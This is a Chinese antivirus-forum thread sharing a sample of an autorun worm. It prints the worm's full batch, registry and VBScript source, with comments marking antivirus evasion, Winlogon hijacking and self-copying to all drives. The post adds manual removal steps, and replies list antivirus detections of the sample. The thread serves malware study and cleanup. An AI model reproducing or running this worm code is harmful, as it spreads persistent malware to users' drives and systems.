查看: 4315|回复: 16
收起左侧

[病毒样本] autorun病毒

[复制链接]
youba
发表于 2008-5-1 17:52:53 | 显示全部楼层 |阅读模式
新型超强autorun病毒的清除方法:
有些这种病毒手工杀更有效的,比如这个病毒:
在每个盘根目录下生成四个文件:autorun.inf,autorun.reg,autorun.bat,auto.vbs,可惜第一个文件被我弄丢了,下面把该病毒代码发给大家共享下:

autorun.bat

@echo off
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
';免杀
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
';免杀


pen
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="-" attrib -s -a -h -r %2\sxs.exe
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\sxs.exe
:end
autorun.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="userinit.exe,autorun.bat"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"autorun"="sxs.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowSuperHidden"=dword:00000000
"Hidden"=dword:00000002


QUOTE:
autorun.vbs

on error resume next
Set WshShell =CreateObject("WScript.Shell"

if 1=0 then
else
For i=1 to 1
set Of = CreateObject("Scripting.FileSystemObject"
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\autorun.vbs" then
isdir=true
else
a=WshShell.Run("autorun.bat Open" ,0,False)
isdir=false
end if
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:" Then
a=WshShell.Run("autorun.bat - "&d ,0,True)
if isdir then
Of.CopyFile dir&"\autorun.bat",d&"\",True
Of.CopyFile dir&"\sxs.exe",d&"\",True
Of.CopyFile dir&"\autorun.inf",d&"\",True
Of.CopyFile dir&"\autorun.reg",d&"\",True
Of.CopyFile dir&"\autorun.vbs",d&"\",True
else
Of.CopyFile "autorun.bat",d&"\",True
Of.CopyFile "sxs.exe",d&"\",True
Of.CopyFile "autorun.inf",d&"\",True
Of.CopyFile "autorun.reg",d&"\",True
Of.CopyFile "autorun.vbs",d&"\",True
end if
a=WshShell.Run("autorun.bat + "&d ,0,True)
End If
next
if isdir then
wscript.sleep 60000
i=0
else
a=WshShell.Run("autorun.bat - "&dir ,0,True)
Of.CopyFile "autorun.bat",dir&"\",True
Of.CopyFile "sxs.exe",dir&"\",True
Of.CopyFile "autorun.inf",dir&"\",True
Of.CopyFile "autorun.reg",dir&"\",True
Of.CopyFile "autorun.vbs",dir&"\",True
a=WshShell.Run("autorun.bat + "&dir ,0,True)
End if
next
End if




  清除方法:
1.先去掉文件的隐藏属性.
2.再到system 32目录下删除autorun.*
   (*表示后缀名为bat,reg,inf,vbs)
3.到每个盘的根目录下删除autorun.*文件.
4.到这里就基本结束了.干净些就到注册表里把上文提到的autorun.reg文件中的项值逐一删除!自此ok!



[ 本帖最后由 promised 于 2008-5-1 18:02 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
aerbeisi
发表于 2008-5-1 17:58:36 | 显示全部楼层
[Found Trojan]        <VBS/Autorun.C (exact, not disinfectable)>        C:\test\autorun超强病毒.rar->autorun.vbs
[Found Trojan]        <BAT/Autorun.C (exact, not disinfectable)>        C:\test\autorun超强病毒.rar->autorun.bat
promised
发表于 2008-5-1 18:01:40 | 显示全部楼层
请不要使用“超强”之类的标题党语言
况且这是老东西了
qigang
发表于 2008-5-1 18:06:04 | 显示全部楼层

5/1

瑞星病毒查杀结果报告

清除病毒种类列表:

病毒: Worm.VBS.AuRun.a         

MAC 地址:00:11:5B:F3:6D:69

用户来源:互联网

软件版本:20.42.30
zwl2828
发表于 2008-5-1 18:09:38 | 显示全部楼层

Kaspersky Internet Security 2009

The requested object is INFECTED with the following viruses: Virus.VBS.Small.a
qwer9909
发表于 2008-5-1 18:19:10 | 显示全部楼层
autorun超强病毒.rar\autorun.vbs;C:\Documents and Settings\Administrator\桌面\autorun超强病毒.rar;VBS.Small;;
autorun超强病毒.rar\autorun.bat;C:\Documents and Settings\Administrator\桌面\autorun超强病毒.rar;VBS.Siggen.1814;;
autorun超强病毒.rar;C:\Documents and Settings\Administrator\桌面;发现压缩文件中有被感染的对象;;
wangjay1980
发表于 2008-5-1 19:48:44 | 显示全部楼层
K

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
平淡
发表于 2008-5-1 19:51:13 | 显示全部楼层
进来就报

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
Kitman
发表于 2008-5-1 20:22:47 | 显示全部楼层
Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL:         http://bbs.kafan.cn/attachment.p ... 4a&t=1209644544
Information:         Contains detection pattern of the VBS script virus VBS/Small.P.1

Generated by AntiVir WebGuard 8.0.13.0, AVE 8.1.0.37, VDF 7.0.3.235
allinwonderi
发表于 2008-5-1 20:43:17 | 显示全部楼层
ArcaVir miss
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-18 10:55 , Processed in 0.135418 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表